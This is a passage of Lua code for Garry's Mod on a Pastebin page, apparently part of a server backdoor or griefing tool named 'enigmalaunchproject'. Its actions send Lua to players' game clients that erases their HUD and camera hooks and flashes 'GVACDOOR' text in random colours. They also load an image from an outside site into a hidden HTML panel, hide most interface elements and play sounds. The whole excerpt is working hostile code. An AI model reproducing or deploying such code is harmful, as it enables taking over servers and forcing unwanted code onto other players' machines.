  816.     ScrH() /2 +math.random( -600, 300 ) +200,
  817.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  818.     TEXT_ALIGN_CENTER,
  819.     TEXT_ALIGN_CENTER,
  820.     1,
  821.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  822. )
  823. end )
  824.      ]] )
  825. end )
  826.  
  827. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  828.     enigmalaunchproject:SendLua( pPlayer, [[
  829.    
  830.     (GAMEMODE or GM).CalcView = function() end
  831.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  832.  
  833.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  834.         for k, v in pairs(remove) do
  835.             hook.GetTable()[v] = {}
  836.     end
  837.  
  838.         local function GetWebMat( strURL )
  839.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  840.     end
  841.        
  842.     hook.Add( "HUDPaint", "hud1enigma", function()
  843.         surface.SetDrawColor( 255, 255, 255, 255 )
  844.            
  845.     draw.SimpleTextOutlined(
  846.     "GVACDOOR",
  847.     "DermaLarge",
  848.     ScrW() /2 +math.random( -300, 600 ),
  849.     ScrH() /2 +math.random( -600, 300 ) +200,
  850.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  851.     TEXT_ALIGN_CENTER,
  852.     TEXT_ALIGN_CENTER,
  853.     1,
  854.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  855. )
  856. end )
  857.      ]] )
  858. end )
  859.  
  860.  
  861. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  862.     enigmalaunchproject:SendLua( pPlayer, ([=[
  863.        
  864.         g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  865.         local html = [[%s]]
  866.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  867.             local pnl = vgui.Create( "HTML" )
  868.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  869.             pnl:SetVisible( true )
  870.             pnl:SetMouseInputEnabled( false )
  871.             pnl:SetKeyBoardInputEnabled( false )
  872.             pnl:SetSize( intSizeX, intSizeY )
  873.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  874.            
  875.             local PageLoaded
  876.             PageLoaded = function()
  877.                 local mat = pnl:GetHTMLMaterial()
  878.                 if mat then
  879.                     g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  880.                     return
  881.                 end
  882.                
  883.                 timer.Simple( 0.5, PageLoaded )
  884.             end
  885.  
  886.             PageLoaded()
  887.         end
  888.  
  889.         LoadWebMaterial( "https://thereaper.tk/__/hehehe/__!!__!!/bravo_ct_inutile/enigmaaaa.png", "EnigmaLogo", 1000, 1000 )
  890.     ]=]):format(lol.m_strImageLoadHTML) )
  891. end )
  892.  
  893. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  894.     enigmalaunchproject:SendLua( pPlayer, [[
  895.         (GAMEMODE or GM).CalcView = function() end
  896.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  897.  
  898.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  899.         for k, v in pairs(remove) do
  900.             hook.GetTable()[v] = {}
  901.         end
  902.  
  903.         local function GetWebMat( strURL )
  904.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  905.         end
  906.  
  907.         hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
  908.             surface.SetDrawColor( 255, 255, 255, 255 )
  909.  
  910.             if GetWebMat( "EnigmaLogo" ) then
  911.                 surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
  912.                 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  913.             end
  914.         end )
  915.  
  916.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  917.         hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
  918.  
  919.         surface.PlaySound( "garrysmod/save_load4.wav" )
  920.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  921.     ]] )
  922. end )
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top